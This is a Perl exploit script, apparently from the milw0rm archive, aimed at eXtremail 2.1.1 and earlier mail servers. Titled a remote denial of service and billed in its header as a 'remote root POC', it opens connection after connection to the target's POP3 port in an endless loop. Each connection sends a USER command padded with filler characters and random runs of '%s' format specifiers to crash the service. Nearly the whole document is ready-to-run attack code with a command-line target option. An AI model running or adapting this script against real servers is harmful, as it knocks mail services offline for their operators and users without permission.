eXtremail 2.1.1 - 'memmove()' Remote Denial of Service

#!/usr/bin/perl
#
# extremail-v3.pl
#
# Copyright (c) 2006 by <mu-b@digit-labs.org>
#
# eXtremail <=2.1.1 remote root POC (x86-lnx)
# by mu-b - Fri Oct 06 2006
#
# Tested on: eXtremail 2.1.1 (lnx)
#            eXtremail 2.1.0 (lnx)
#
#    - Private Source Code -DO NOT DISTRIBUTE -
# http://www.digit-labs.org/ -- Digit-Labs 2006!@$!
########

use Getopt::Std; getopts('t:n:u:p:', \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $pop3_port = 110;
my $send_delay = 1;

my $NOP = 'A';

srand(time());
while (1) {
    if (connect_host($target, $pop3_port)) {
        # [0,50) -> [1,50]
        $max_len  = int(rand(50) + 1);

        # [0, $max_len * 0.75) -> [0, ($max_len * 0x75) - 1]
        $pad1_len = int(rand($max_len * 0.75));

        # [0, ($max_len - $pad1_len)/2) -> [1, ($max_len - $pad1_len)/2]
        $pad2_len = int(rand(($max_len - $pad1_len)/length("%s")) + 1);

        $pad3_len = $max_len - $pad1_len - ($pad2_len * length("%s"));

        $buf = "USER ".
               ($NOP x $pad1_len).
               ("%s" x $pad2_len).
               ($NOP x $pad3_len).
               "\n";
        print("-> * Sending: $max_len $pad1_len $pad2_len $pad3_len ".$buf);
        send(SOCKET, $buf, 0);
        sleep($send_delay);

        close(SOCKET);
    }
}

sub print_header {
    print("eXtremail <=2.1.1 remote root POC (x86-lnx)\n");
    print("by: <mu-b\@digit-labs.org>\n");
    print("http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-10-15]